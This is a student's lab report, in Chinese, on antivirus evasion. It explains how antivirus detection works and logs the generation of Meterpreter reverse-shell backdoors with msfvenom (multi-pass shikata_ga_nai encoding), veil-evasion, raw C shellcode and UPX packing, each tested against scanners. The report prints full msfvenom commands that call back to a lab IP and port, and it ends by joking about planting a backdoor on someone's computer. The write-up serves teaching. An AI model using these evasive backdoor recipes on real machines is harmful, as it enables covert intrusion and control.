2017-2018-2 20155230《网络对抗技术》实验3:免杀原理与实践
基础问题回答
1、杀软是如何检测出恶意代码的?
- 杀软检测恶意代码主要有三种方式:
①特征码的检测:杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
②启发式恶意软件的检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能。“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”
③基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉;
2、免杀是做什么?
- 免杀就是通过一些欺骗性的手段让自己写的后门在杀软眼皮底下为所欲为!
例如改变特征码、给exe加壳防调试
3、免杀的基本方法有哪些?
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
离实战还缺些什么技术或步骤?
- 1、如何神不知鬼不觉的将后门植入其他电脑
- 2、以目前所学的反弹式连接后门,如果植入后被发现了怎么跑路(所以还是玩玩就算了吧。)
实践过程记录
1.使用msf编码器生成后门程序及检测
-
首先对实验2:后门原理与实践生成的简单后门进行扫描,放到Virscan上扫描一下
-
嗨呀,想要暗搓搓的宣传一下自己居然被发现了!那就改个文件名继续试试吧。。。
-
居然才一半一半,不太应该啊!(本来以为会惨不忍睹。。)
-
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.222.129 LPORT=5230 -f exe > backdoor.exe
用该指令进行10次编码
-
现在继续去测试一下!
-
虽然稍微有所好转!但是本质上来说没有什么区别!果然MSF的编码还是人家玩剩下的。。
2.使用veil-evasion生成后门程序及检测
-
第一次使用命令
sudo apt-get install veil
安装veil失败,根据提示用命令apt-get update
更新了一下kali源成功安装! -
在安装完成后并下载完成veil-evasion后出现老师在群内所说的
module 'Tools.Ordnance' has no attribute 'Tool'
错误,在将报错的最后一个文件名的那一行注释掉后成功运行!
-
使用
use evasion
命令进入veil-evasion
-
输入
use c/meterpreter/rev_tcp.py
,然后设置回连IP和端口,生成后门文件
-
送去扫描一哈!
-
可以看见免杀效果已经是比较优秀了!那就开始尝试一下实际应用把!
-
使用ncat将木马传入win7虚拟机
-
可以看见刚传进来就被qq管家查杀了,可以说是真的很严格了。。。
-
因为恢复的时候没将程序加入信任区,所以一运行再次被杀。恢复后回连成功!
3.注入Shellcode并执行
-
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=5230 -f c
生成一个C语言的shell code
-
提取其中的shell code写成C文件并放在codeblock上编译
(这里不让贴代码就删了!) -
开始尝试回连!
-
刚要运行就被查杀,看来还是不够。恢复文件后回连成功!
-
放去扫描一下看看什么情况
-
可以看见免杀能力与veil-evasion生成的后门没有什么区别
-
尝试一下用UPX对.exe文件进行加壳
-
文件传入win7后,电脑管家没有报毒!且在进行指定位置杀毒后可以看见testshellcode_2文件是不在信任区的!
-
将testshellcode从信任区删除后也仅仅只报毒testshellcode!
-
将文件送去扫描
-
可以看见虽然逃过了现在市面上用户使用量更多的qq管家的查杀,但是免杀率还是不容乐观!
-
看了学长的微博了解将shellcode异或、逆序、或者同时使用能拥有更高的免杀率,但是时间关系这个拓展只能先放着了!
实践总结与体会
- 在做了第二次实验之后,第三次实验似乎并没有什么技术难度,只是使用工具半手工打造自己的后门程序(不得不说veil的安装能熬死一片赶时间的人。。。),还是开头说的,怎么让自己写的后门进入目标主机内是个难题。期间有在veil-evasion尝试过使用python编写后门,但是失败了,具体原因尚不知道。。。
现在可以悄咪咪的自己写个后门放老司机电脑里为所欲为了!